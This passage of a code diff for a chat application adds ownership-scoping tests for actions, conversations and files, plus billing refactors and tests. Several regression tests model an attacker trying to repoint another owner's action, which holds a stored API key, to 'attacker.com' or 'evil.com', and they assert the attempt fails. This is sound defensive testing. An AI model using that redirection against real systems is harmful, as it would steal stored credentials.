+ await mongoose.models.Action.create({
+ user: userId,
+ action_id: 'act_1',
+ agent_id: 'agent_B',
+ metadata: { domain: 'victim.com', api_key: 'secret' },
+ });
+
+ const result = await updateAction(
+ { action_id: 'act_1', agent_id: 'agent_A' },
+ { user: userId, metadata: { domain: 'attacker.com' } },
+ );
+
+ expect(result.metadata.domain).toBe('attacker.com');
+
+ const original = await mongoose.models.Action.findOne({
+ action_id: 'act_1',
+ agent_id: 'agent_B',
+ }).lean();
+ expect(original).not.toBeNull();
+ expect(original.metadata.domain).toBe('victim.com');
+ expect(original.metadata.api_key).toBe('secret');
+ });
+
+ it('updates when action_id and assistant_id both match', async () => {
+ await mongoose.models.Action.create({
+ user: userId,
+ action_id: 'act_2',
+ assistant_id: 'asst_X',
+ metadata: { domain: 'example.com' },
+ });
+
+ const result = await updateAction(
+ { action_id: 'act_2', assistant_id: 'asst_X' },
+ { metadata: { domain: 'updated.com' } },
+ );
+
+ expect(result).not.toBeNull();
+ expect(result.metadata.domain).toBe('updated.com');
+ });
+
+ it('does not overwrite when assistant_id does not match', async () => {
+ await mongoose.models.Action.create({
+ user: userId,
+ action_id: 'act_2',
+ assistant_id: 'asst_victim',
+ metadata: { domain: 'victim.com', api_key: 'secret' },
+ });
+
+ await updateAction(
+ { action_id: 'act_2', assistant_id: 'asst_attacker' },
+ { user: userId, metadata: { domain: 'attacker.com' } },
+ );
+
+ const original = await mongoose.models.Action.findOne({
+ action_id: 'act_2',
+ assistant_id: 'asst_victim',
+ }).lean();
+ expect(original).not.toBeNull();
+ expect(original.metadata.domain).toBe('victim.com');
+ expect(original.metadata.api_key).toBe('secret');
+ });
+ });
+
+ describe('deleteAction', () => {
+ it('deletes when action_id and agent_id both match', async () => {
+ await mongoose.models.Action.create({
+ user: userId,
+ action_id: 'act_del',
+ agent_id: 'agent_A',
+ metadata: { domain: 'example.com' },
+ });
+
+ const result = await deleteAction({ action_id: 'act_del', agent_id: 'agent_A' });
+ expect(result).not.toBeNull();
+ expect(result.action_id).toBe('act_del');
+
+ const remaining = await mongoose.models.Action.countDocuments();
+ expect(remaining).toBe(0);
+ });
+
+ it('returns null and preserves the document when agent_id does not match', async () => {
+ await mongoose.models.Action.create({
+ user: userId,
+ action_id: 'act_del',
+ agent_id: 'agent_B',
+ metadata: { domain: 'victim.com' },
+ });
+
+ const result = await deleteAction({ action_id: 'act_del', agent_id: 'agent_A' });
+ expect(result).toBeNull();
+
+ const remaining = await mongoose.models.Action.countDocuments();
+ expect(remaining).toBe(1);
+ });
+
+ it('deletes when action_id and assistant_id both match', async () => {
+ await mongoose.models.Action.create({
+ user: userId,
+ action_id: 'act_del_asst',
+ assistant_id: 'asst_X',
+ metadata: { domain: 'example.com' },
+ });
+
+ const result = await deleteAction({ action_id: 'act_del_asst', assistant_id: 'asst_X' });
+ expect(result).not.toBeNull();
+
+ const remaining = await mongoose.models.Action.countDocuments();
+ expect(remaining).toBe(0);
+ });
+
+ it('returns null and preserves the document when assistant_id does not match', async () => {
+ await mongoose.models.Action.create({
+ user: userId,
+ action_id: 'act_del_asst',
+ assistant_id: 'asst_victim',
+ metadata: { domain: 'victim.com' },
+ });
+
+ const result = await deleteAction({
+ action_id: 'act_del_asst',
+ assistant_id: 'asst_attacker',
+ });
+ expect(result).toBeNull();
+
+ const remaining = await mongoose.models.Action.countDocuments();
+ expect(remaining).toBe(1);
+ });
+ });
+
+ describe('getActions (unscoped baseline)', () => {
+ it('returns actions by action_id regardless of agent_id', async () => {
+ await mongoose.models.Action.create({
+ user: userId,
+ action_id: 'act_shared',
+ agent_id: 'agent_B',
+ metadata: { domain: 'example.com' },
+ });
+
+ const results = await getActions({ action_id: 'act_shared' }, true);
+ expect(results).toHaveLength(1);
+ expect(results[0].agent_id).toBe('agent_B');
+ });
+
+ it('returns actions scoped by agent_id when provided', async () => {
+ await mongoose.models.Action.create({
+ user: userId,
+ action_id: 'act_scoped',
+ agent_id: 'agent_A',
+ metadata: { domain: 'a.com' },
+ });
+ await mongoose.models.Action.create({
+ user: userId,
+ action_id: 'act_other',
+ agent_id: 'agent_B',
+ metadata: { domain: 'b.com' },
+ });
+
+ const results = await getActions({ agent_id: 'agent_A' });
+ expect(results).toHaveLength(1);
+ expect(results[0].action_id).toBe('act_scoped');
+ });
+ });
+
+ describe('cross-type protection', () => {
+ it('updateAction with agent_id filter does not overwrite assistant-owned action', async () => {
+ await mongoose.models.Action.create({
+ user: userId,
+ action_id: 'act_cross',
+ assistant_id: 'asst_victim',
+ metadata: { domain: 'victim.com', api_key: 'secret' },
+ });
+
+ await updateAction(
+ { action_id: 'act_cross', agent_id: 'agent_attacker' },
+ { user: userId, metadata: { domain: 'evil.com' } },
+ );
+
+ const original = await mongoose.models.Action.findOne({
+ action_id: 'act_cross',
+ assistant_id: 'asst_victim',
+ }).lean();
+ expect(original).not.toBeNull();
+ expect(original.metadata.domain).toBe('victim.com');
+ expect(original.metadata.api_key).toBe('secret');
+ });
+
+ it('deleteAction with agent_id filter does not delete assistant-owned action', async () => {
+ await mongoose.models.Action.create({
+ user: userId,
+ action_id: 'act_cross_del',
+ assistant_id: 'asst_victim',
+ metadata: { domain: 'victim.com' },
+ });
+
+ const result = await deleteAction({ action_id: 'act_cross_del', agent_id: 'agent_attacker' });
+ expect(result).toBeNull();
+
+ const remaining = await mongoose.models.Action.countDocuments();
+ expect(remaining).toBe(1);
+ });
+ });
+});
diff --git a/api/models/Conversation.js b/api/models/Conversation.js
index 32eac1a764..121eaa9696 100644
--- a/api/models/Conversation.js
+++ b/api/models/Conversation.js
@@ -228,7 +228,7 @@ module.exports = {
},
],
};
- } catch (err) {
+ } catch (_err) {
logger.warn('[getConvosByCursor] Invalid cursor format, starting from beginning');
}
if (cursorFilter) {
@@ -361,6 +361,7 @@ module.exports = {
const deleteMessagesResult = await deleteMessages({
conversationId: { $in: conversationIds },
+ user,
});
return { ...deleteConvoResult, messages: deleteMessagesResult };
diff --git a/api/models/Conversation.spec.js b/api/models/Conversation.spec.js
index bd415b4165..e9e4b5762d 100644
--- a/api/models/Conversation.spec.js
+++ b/api/models/Conversation.spec.js
@@ -549,6 +549,7 @@ describe('Conversation Operations', () => {
expect(result.messages.deletedCount).toBe(5);
expect(deleteMessages).toHaveBeenCalledWith({
conversationId: { $in: [mockConversationData.conversationId] },
+ user: 'user123',
});
// Verify conversation was deleted
diff --git a/api/models/File.spec.js b/api/models/File.spec.js
index 2d4282cff7..ecb2e21b08 100644
--- a/api/models/File.spec.js
+++ b/api/models/File.spec.js
@@ -152,12 +152,11 @@ describe('File Access Control', () => {
expect(accessMap.get(fileIds[3])).toBe(false);
});
- it('should grant access to all files when user is the agent author', async () => {
+ it('should only grant author access to files attached to the agent', async () => {
const authorId = new mongoose.Types.ObjectId();
const agentId = uuidv4();
const fileIds = [uuidv4(), uuidv4(), uuidv4()];
- // Create author user
await User.create({
_id: authorId,
email: 'author@example.com',
@@ -165,7 +164,6 @@ describe('File Access Control', () => {
provider: 'local',
});
- // Create agent
await createAgent({
id: agentId,
name: 'Test Agent',
@@ -174,12 +172,83 @@ describe('File Access Control', () => {
provider: 'openai',
tool_resources: {
file_search: {
- file_ids: [fileIds[0]], // Only one file attached
+ file_ids: [fileIds[0]],
+ },
+ },
+ });
+
+ const { hasAccessToFilesViaAgent } = require('~/server/services/Files/permissions');
+ const accessMap = await hasAccessToFilesViaAgent({
+ userId: authorId,
+ role: SystemRoles.USER,
+ fileIds,
+ agentId,
+ });
+
+ expect(accessMap.get(fileIds[0])).toBe(true);
+ expect(accessMap.get(fileIds[1])).toBe(false);
+ expect(accessMap.get(fileIds[2])).toBe(false);
+ });
+
+ it('should deny all access when agent has no tool_resources', async () => {
+ const authorId = new mongoose.Types.ObjectId();
+ const agentId = uuidv4();
+ const fileId = uuidv4();
+
+ await User.create({
+ _id: authorId,
+ email: 'author-no-resources@example.com',
+ emailVerified: true,
+ provider: 'local',
+ });
+
+ await createAgent({
+ id: agentId,
+ name: 'Bare Agent',
+ author: authorId,
+ model: 'gpt-4',
+ provider: 'openai',
+ });
+
+ const { hasAccessToFilesViaAgent } = require('~/server/services/Files/permissions');
+ const accessMap = await hasAccessToFilesViaAgent({
+ userId: authorId,
+ role: SystemRoles.USER,
+ fileIds: [fileId],
+ agentId,
+ });
+
+ expect(accessMap.get(fileId)).toBe(false);
+ });
+
+ it('should grant access to files across multiple resource types', async () => {
+ const authorId = new mongoose.Types.ObjectId();
+ const agentId = uuidv4();
+ const fileIds = [uuidv4(), uuidv4(), uuidv4()];
+
+ await User.create({
+ _id: authorId,
+ email: 'author-multi@example.com',
+ emailVerified: true,
+ provider: 'local',
+ });
+
+ await createAgent({
+ id: agentId,
+ name: 'Multi Resource Agent',
+ author: authorId,
+ model: 'gpt-4',
+ provider: 'openai',
+ tool_resources: {
+ file_search: {
+ file_ids: [fileIds[0]],
+ },
+ execute_code: {
+ file_ids: [fileIds[1]],
},
},
});
- // Check access as the author
const { hasAccessToFilesViaAgent } = require('~/server/services/Files/permissions');
const accessMap = await hasAccessToFilesViaAgent({
userId: authorId,
@@ -188,10 +257,48 @@ describe('File Access Control', () => {
agentId,
});
- // Author should have access to all files
expect(accessMap.get(fileIds[0])).toBe(true);
expect(accessMap.get(fileIds[1])).toBe(true);
- expect(accessMap.get(fileIds[2])).toBe(true);
+ expect(accessMap.get(fileIds[2])).toBe(false);
+ });
+
+ it('should grant author access to attached files when isDelete is true', async () => {
+ const authorId = new mongoose.Types.ObjectId();
+ const agentId = uuidv4();
+ const attachedFileId = uuidv4();
+ const unattachedFileId = uuidv4();
+
+ await User.create({
+ _id: authorId,
+ email: 'author-delete@example.com',
+ emailVerified: true,
+ provider: 'local',
+ });
+
+ await createAgent({
+ id: agentId,
+ name: 'Delete Test Agent',
+ author: authorId,
+ model: 'gpt-4',
+ provider: 'openai',
+ tool_resources: {
+ file_search: {
+ file_ids: [attachedFileId],
+ },
+ },
+ });
+
+ const { hasAccessToFilesViaAgent } = require('~/server/services/Files/permissions');
+ const accessMap = await hasAccessToFilesViaAgent({
+ userId: authorId,
+ role: SystemRoles.USER,
+ fileIds: [attachedFileId, unattachedFileId],
+ agentId,
+ isDelete: true,
+ });
+
+ expect(accessMap.get(attachedFileId)).toBe(true);
+ expect(accessMap.get(unattachedFileId)).toBe(false);
});
it('should handle non-existent agent gracefully', async () => {
diff --git a/api/models/Transaction.js b/api/models/Transaction.js
index e553e2bb3b..7f018e1c30 100644
--- a/api/models/Transaction.js
+++ b/api/models/Transaction.js
@@ -1,140 +1,7 @@
-const { logger } = require('@librechat/data-schemas');
+const { logger, CANCEL_RATE } = require('@librechat/data-schemas');
const { getMultiplier, getCacheMultiplier } = require('./tx');
-const { Transaction, Balance } = require('~/db/models');
-
-const cancelRate = 1.15;
-
-/**
- * Updates a user's token balance based on a transaction using optimistic concurrency control
- * without schema changes. Compatible with DocumentDB.
- * @async
- * @function
- * @param {Object} params - The function parameters.
- * @param {string|mongoose.Types.ObjectId} params.user - The user ID.
- * @param {number} params.incrementValue - The value to increment the balance by (can be negative).
- * @param {import('mongoose').UpdateQuery['$set']} [params.setValues] - Optional additional fields to set.
- * @returns {Promise} Returns the updated balance document (lean).
- * @throws {Error} Throws an error if the update fails after multiple retries.
- */
-const updateBalance = async ({ user, incrementValue, setValues }) => {
- let maxRetries = 10; // Number of times to retry on conflict
- let delay = 50; // Initial retry delay in ms
- let lastError = null;
-
- for (let attempt = 1; attempt <= maxRetries; attempt++) {
- let currentBalanceDoc;
- try {
- // 1. Read the current document state
- currentBalanceDoc = await Balance.findOne({ user }).lean();
- const currentCredits = currentBalanceDoc ? currentBalanceDoc.tokenCredits : 0;
-
- // 2. Calculate the desired new state
- const potentialNewCredits = currentCredits + incrementValue;
- const newCredits = Math.max(0, potentialNewCredits); // Ensure balance doesn't go below zero
-
- // 3. Prepare the update payload
- const updatePayload = {
- $set: {
- tokenCredits: newCredits,
- ...(setValues || {}), // Merge other values to set
- },
- };
-
- // 4. Attempt the conditional update or upsert
- let updatedBalance = null;
- if (currentBalanceDoc) {
- // --- Document Exists: Perform Conditional Update ---
- // Try to update only if the tokenCredits match the value we read (currentCredits)
- updatedBalance = await Balance.findOneAndUpdate(
- {
- user: user,
- tokenCredits: currentCredits, // Optimistic lock: condition based on the read value
- },
- updatePayload,
- {
- new: true, // Return the modified document
- // lean: true, // .lean() is applied after query execution in Mongoose >= 6
- },
- ).lean(); // Use lean() for plain JS object
-
- if (updatedBalance) {
- // Success! The update was applied based on the expected current state.
- return updatedBalance;
- }
- // If updatedBalance is null, it means tokenCredits changed between read and write (conflict).
- lastError = new Error(`Concurrency conflict for user ${user} on attempt ${attempt}.`);
- // Proceed to retry logic below.
- } else {
- // --- Document Does Not Exist: Perform Conditional Upsert ---
- // Try to insert the document, but only if it still doesn't exist.
- // Using tokenCredits: {$exists: false} helps prevent race conditions where
- // another process creates the doc between our findOne and findOneAndUpdate.
- try {
- updatedBalance = await Balance.findOneAndUpdate(
- {
- user: user,
- // Attempt to match only if the document doesn't exist OR was just created
- // without tokenCredits (less likely but possible). A simple { user } filter
- // might also work, relying on the retry for conflicts.
- // Let's use a simpler filter and rely on retry for races.
- // tokenCredits: { $exists: false } // This condition might be too strict if doc exists with 0 credits
- },
- updatePayload,
- {
- upsert: true, // Create if doesn't exist
- new: true, // Return the created/updated document
- // setDefaultsOnInsert: true, // Ensure schema defaults are applied on insert
- // lean: true,
- },
- ).lean();
-
- if (updatedBalance) {
- // Upsert succeeded (likely created the document)
- return updatedBalance;
- }
- // If null, potentially a rare race condition during upsert. Retry should handle it.
- lastError = new Error(
- `Upsert race condition suspected for user ${user} on attempt ${attempt}.`,
- );
- } catch (error) {
- if (error.code === 11000) {
- // E11000 duplicate key error on index
- // This means another process created the document *just* before our upsert.
- // It's a concurrency conflict during creation. We should retry.
- lastError = error; // Store the error
- // Proceed to retry logic below.
- } else {
- // Different error, rethrow
- throw error;
- }
- }
- } // End if/else (document exists?)
- } catch (error) {
- // Catch errors from findOne or unexpected findOneAndUpdate errors
- logger.error(`[updateBalance] Error during attempt ${attempt} for user ${user}:`, error);
- lastError = error; // Store the error
- // Consider stopping retries for non-transient errors, but for now, we retry.
- }
-
- // If we reached here, it means the update failed (conflict or error), wait and retry
- if (attempt < maxRetries) {
- const jitter = Math.random() * delay * 0.5; // Add jitter to delay
- await new Promise((resolve) => setTimeout(resolve, delay + jitter));
- delay = Math.min(delay * 2, 2000); // Exponential backoff with cap
- }
- } // End for loop (retries)
-
- // If loop finishes without success, throw the last encountered error or a generic one
- logger.error(
- `[updateBalance] Failed to update balance for user ${user} after ${maxRetries} attempts.`,
- );
- throw (
- lastError ||
- new Error(
- `Failed to update balance for user ${user} after maximum retries due to persistent conflicts.`,
- )
- );
-};
+const { Transaction } = require('~/db/models');
+const { updateBalance } = require('~/models');
/** Method to calculate and set the tokenValue for a transaction */
function calculateTokenValue(txn) {
@@ -145,8 +12,8 @@ function calculateTokenValue(txn) {
txn.rate = multiplier;
txn.tokenValue = txn.rawAmount * multiplier;
if (txn.context && txn.tokenType === 'completion' && txn.context === 'incomplete') {
- txn.tokenValue = Math.ceil(txn.tokenValue * cancelRate);
- txn.rate *= cancelRate;
+ txn.tokenValue = Math.ceil(txn.tokenValue * CANCEL_RATE);
+ txn.rate *= CANCEL_RATE;
}
}
@@ -321,11 +188,11 @@ function calculateStructuredTokenValue(txn) {
}
if (txn.context && txn.tokenType === 'completion' && txn.context === 'incomplete') {
- txn.tokenValue = Math.ceil(txn.tokenValue * cancelRate);
- txn.rate *= cancelRate;
+ txn.tokenValue = Math.ceil(txn.tokenValue * CANCEL_RATE);
+ txn.rate *= CANCEL_RATE;
if (txn.rateDetail) {
txn.rateDetail = Object.fromEntries(
- Object.entries(txn.rateDetail).map(([k, v]) => [k, v * cancelRate]),
+ Object.entries(txn.rateDetail).map(([k, v]) => [k, v * CANCEL_RATE]),
);
}
}
diff --git a/api/models/Transaction.spec.js b/api/models/Transaction.spec.js
index 4b478d4dc3..f363c472e1 100644
--- a/api/models/Transaction.spec.js
+++ b/api/models/Transaction.spec.js
@@ -1,8 +1,10 @@
const mongoose = require('mongoose');
+const { recordCollectedUsage } = require('@librechat/api');
+const { createMethods } = require('@librechat/data-schemas');
const { MongoMemoryServer } = require('mongodb-memory-server');
-const { spendTokens, spendStructuredTokens } = require('./spendTokens');
const { getMultiplier, getCacheMultiplier, premiumTokenValues, tokenValues } = require('./tx');
const { createTransaction, createStructuredTransaction } = require('./Transaction');
+const { spendTokens, spendStructuredTokens } = require('./spendTokens');
const { Balance, Transaction } = require('~/db/models');
let mongoServer;
@@ -823,6 +825,139 @@ describe('Premium Token Pricing Integration Tests', () => {
expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0);
});
+ test('spendTokens should apply standard pricing for gemini-3.1-pro-preview below threshold', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'gemini-3.1-pro-preview';
+ const promptTokens = 100000;
+ const completionTokens = 500;
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-gemini31-below',
+ model,
+ context: 'test',
+ endpointTokenConfig: null,
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens, completionTokens });
+
+ const standardPromptRate = tokenValues['gemini-3.1'].prompt;
+ const standardCompletionRate = tokenValues['gemini-3.1'].completion;
+ const expectedCost =
+ promptTokens * standardPromptRate + completionTokens * standardCompletionRate;
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+
+ test('spendTokens should apply premium pricing for gemini-3.1-pro-preview above threshold', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'gemini-3.1-pro-preview';
+ const promptTokens = 250000;
+ const completionTokens = 500;
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-gemini31-above',
+ model,
+ context: 'test',
+ endpointTokenConfig: null,
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens, completionTokens });
+
+ const premiumPromptRate = premiumTokenValues['gemini-3.1'].prompt;
+ const premiumCompletionRate = premiumTokenValues['gemini-3.1'].completion;
+ const expectedCost =
+ promptTokens * premiumPromptRate + completionTokens * premiumCompletionRate;
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+
+ test('spendTokens should apply standard pricing for gemini-3.1-pro-preview at exactly the threshold', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'gemini-3.1-pro-preview';
+ const promptTokens = premiumTokenValues['gemini-3.1'].threshold;
+ const completionTokens = 500;
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-gemini31-exact',
+ model,
+ context: 'test',
+ endpointTokenConfig: null,
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens, completionTokens });
+
+ const standardPromptRate = tokenValues['gemini-3.1'].prompt;
+ const standardCompletionRate = tokenValues['gemini-3.1'].completion;
+ const expectedCost =
+ promptTokens * standardPromptRate + completionTokens * standardCompletionRate;
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+
+ test('spendStructuredTokens should apply premium pricing for gemini-3.1 when total input exceeds threshold', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'gemini-3.1-pro-preview';
+ const txData = {
+ user: userId,
+ conversationId: 'test-gemini31-structured-premium',
+ model,
+ context: 'message',
+ endpointTokenConfig: null,
+ balance: { enabled: true },
+ };
+
+ const tokenUsage = {
+ promptTokens: {
+ input: 200000,
+ write: 10000,
+ read: 5000,
+ },
+ completionTokens: 1000,
+ };
+
+ const totalInput =
+ tokenUsage.promptTokens.input + tokenUsage.promptTokens.write + tokenUsage.promptTokens.read;
+
+ await spendStructuredTokens(txData, tokenUsage);
+
+ const premiumPromptRate = premiumTokenValues['gemini-3.1'].prompt;
+ const premiumCompletionRate = premiumTokenValues['gemini-3.1'].completion;
+ const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' });
+ const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' });
+
+ const expectedPromptCost =
+ tokenUsage.promptTokens.input * premiumPromptRate +
+ tokenUsage.promptTokens.write * writeMultiplier +
+ tokenUsage.promptTokens.read * readMultiplier;
+ const expectedCompletionCost = tokenUsage.completionTokens * premiumCompletionRate;
+ const expectedTotalCost = expectedPromptCost + expectedCompletionCost;
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(totalInput).toBeGreaterThan(premiumTokenValues['gemini-3.1'].threshold);
+ expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0);
+ });
+
test('non-premium models should not be affected by inputTokenCount regardless of prompt size', async () => {
const userId = new mongoose.Types.ObjectId();
const initialBalance = 100000000;
@@ -852,3 +987,339 @@ describe('Premium Token Pricing Integration Tests', () => {
expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
});
});
+
+describe('Bulk path parity', () => {
+ /**
+ * Each test here mirrors an existing legacy test above, replacing spendTokens/
+ * spendStructuredTokens with recordCollectedUsage + bulk deps.
+ * The balance deduction and transaction document fields must be numerically identical.
+ */
+ let bulkDeps;
+ let methods;
+
+ beforeEach(() => {
+ methods = createMethods(mongoose);
+ bulkDeps = {
+ spendTokens: () => Promise.resolve(),
+ spendStructuredTokens: () => Promise.resolve(),
+ pricing: { getMultiplier, getCacheMultiplier },
+ bulkWriteOps: {
+ insertMany: methods.bulkInsertTransactions,
+ updateBalance: methods.updateBalance,
+ },
+ };
+ });
+
+ test('balance should decrease when spending tokens via bulk path', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 10000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'gpt-3.5-turbo';
+ const promptTokens = 100;
+ const completionTokens = 50;
+
+ await recordCollectedUsage(bulkDeps, {
+ user: userId.toString(),
+ conversationId: 'test-conversation-id',
+ model,
+ context: 'test',
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ collectedUsage: [{ input_tokens: promptTokens, output_tokens: completionTokens, model }],
+ });
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ const promptMultiplier = getMultiplier({
+ model,
+ tokenType: 'prompt',
+ inputTokenCount: promptTokens,
+ });
+ const completionMultiplier = getMultiplier({
+ model,
+ tokenType: 'completion',
+ inputTokenCount: promptTokens,
+ });
+ const expectedTotalCost =
+ promptTokens * promptMultiplier + completionTokens * completionMultiplier;
+ const expectedBalance = initialBalance - expectedTotalCost;
+
+ expect(updatedBalance.tokenCredits).toBeCloseTo(expectedBalance, 0);
+
+ const txns = await Transaction.find({ user: userId }).lean();
+ expect(txns).toHaveLength(2);
+ });
+
+ test('bulk path should not update balance when balance.enabled is false', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 10000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'gpt-3.5-turbo';
+
+ await recordCollectedUsage(bulkDeps, {
+ user: userId.toString(),
+ conversationId: 'test-conversation-id',
+ model,
+ context: 'test',
+ balance: { enabled: false },
+ transactions: { enabled: true },
+ collectedUsage: [{ input_tokens: 100, output_tokens: 50, model }],
+ });
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(updatedBalance.tokenCredits).toBe(initialBalance);
+ const txns = await Transaction.find({ user: userId }).lean();
+ expect(txns).toHaveLength(2); // transactions still recorded
+ });
+
+ test('bulk path should not insert when transactions.enabled is false', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 10000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ await recordCollectedUsage(bulkDeps, {
+ user: userId.toString(),
+ conversationId: 'test-conversation-id',
+ model: 'gpt-3.5-turbo',
+ context: 'test',
+ balance: { enabled: true },
+ transactions: { enabled: false },
+ collectedUsage: [{ input_tokens: 100, output_tokens: 50, model: 'gpt-3.5-turbo' }],
+ });
+
+ const txns = await Transaction.find({ user: userId }).lean();
+ expect(txns).toHaveLength(0);
+ const balance = await Balance.findOne({ user: userId });
+ expect(balance.tokenCredits).toBe(initialBalance);
+ });
+
+ test('bulk path handles incomplete context for completion tokens — same CANCEL_RATE as legacy', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 17613154.55;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'claude-3-5-sonnet';
+ const promptTokens = 10;
+ const completionTokens = 50;
+
+ await recordCollectedUsage(bulkDeps, {
+ user: userId.toString(),
+ conversationId: 'test-convo',
+ model,
+ context: 'incomplete',
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ collectedUsage: [{ input_tokens: promptTokens, output_tokens: completionTokens, model }],
+ });
+
+ const txns = await Transaction.find({ user: userId }).lean();
+ const completionTx = txns.find((t) => t.tokenType === 'completion');
+ const completionMultiplier = getMultiplier({
+ model,
+ tokenType: 'completion',
+ inputTokenCount: promptTokens,
+ });
+ expect(completionTx.tokenValue).toBeCloseTo(-completionTokens * completionMultiplier * 1.15, 0);
+ });
+
+ test('bulk path structured tokens — balance deduction matches legacy spendStructuredTokens', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 17613154.55;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'claude-3-5-sonnet';
+ const promptInput = 11;
+ const promptWrite = 140522;
+ const promptRead = 0;
+ const completionTokens = 5;
+ const totalInput = promptInput + promptWrite + promptRead;
+
+ await recordCollectedUsage(bulkDeps, {
+ user: userId.toString(),
+ conversationId: 'test-convo',
+ model,
+ context: 'message',
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ collectedUsage: [
+ {
+ input_tokens: promptInput,
+ output_tokens: completionTokens,
+ model,
+ input_token_details: { cache_creation: promptWrite, cache_read: promptRead },
+ },
+ ],
+ });
+
+ const promptMultiplier = getMultiplier({
+ model,
+ tokenType: 'prompt',
+ inputTokenCount: totalInput,
+ });
+ const completionMultiplier = getMultiplier({
+ model,
+ tokenType: 'completion',
+ inputTokenCount: totalInput,
+ });
+ const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' }) ?? promptMultiplier;
+ const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' }) ?? promptMultiplier;
+
+ const expectedPromptCost =
+ promptInput * promptMultiplier + promptWrite * writeMultiplier + promptRead * readMultiplier;
+ const expectedCompletionCost = completionTokens * completionMultiplier;
+ const expectedTotalCost = expectedPromptCost + expectedCompletionCost;
+ const expectedBalance = initialBalance - expectedTotalCost;
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(Math.abs(updatedBalance.tokenCredits - expectedBalance)).toBeLessThan(100);
+ });
+
+ test('premium pricing above threshold via bulk path — same balance as legacy', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'claude-opus-4-6';
+ const promptTokens = 250000;
+ const completionTokens = 500;
+
+ await recordCollectedUsage(bulkDeps, {
+ user: userId.toString(),
+ conversationId: 'test-premium',
+ model,
+ context: 'test',
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ collectedUsage: [{ input_tokens: promptTokens, output_tokens: completionTokens, model }],
+ });
+
+ const premiumPromptRate = premiumTokenValues[model].prompt;
+ const premiumCompletionRate = premiumTokenValues[model].completion;
+ const expectedCost =
+ promptTokens * premiumPromptRate + completionTokens * premiumCompletionRate;
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+
+ test('real-world multi-entry batch: 5 sequential tool calls — same total deduction as 5 legacy spendTokens calls', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'claude-opus-4-5-20251101';
+ const calls = [
+ { input_tokens: 31596, output_tokens: 151 },
+ { input_tokens: 35368, output_tokens: 150 },
+ { input_tokens: 58362, output_tokens: 295 },
+ { input_tokens: 112604, output_tokens: 193 },
+ { input_tokens: 257440, output_tokens: 2217 },
+ ];
+
+ let expectedTotalCost = 0;
+ for (const { input_tokens, output_tokens } of calls) {
+ const pm = getMultiplier({ model, tokenType: 'prompt', inputTokenCount: input_tokens });
+ const cm = getMultiplier({ model, tokenType: 'completion', inputTokenCount: input_tokens });
+ expectedTotalCost += input_tokens * pm + output_tokens * cm;
+ }
+
+ await recordCollectedUsage(bulkDeps, {
+ user: userId.toString(),
+ conversationId: 'test-sequential',
+ model,
+ context: 'message',
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ collectedUsage: calls.map((c) => ({ ...c, model })),
+ });
+
+ const txns = await Transaction.find({ user: userId }).lean();
+ expect(txns).toHaveLength(10); // 5 calls × 2 docs (prompt + completion)
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0);
+ });
+
+ test('bulk path should save transaction but not update balance when balance disabled, transactions enabled', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 10000000;
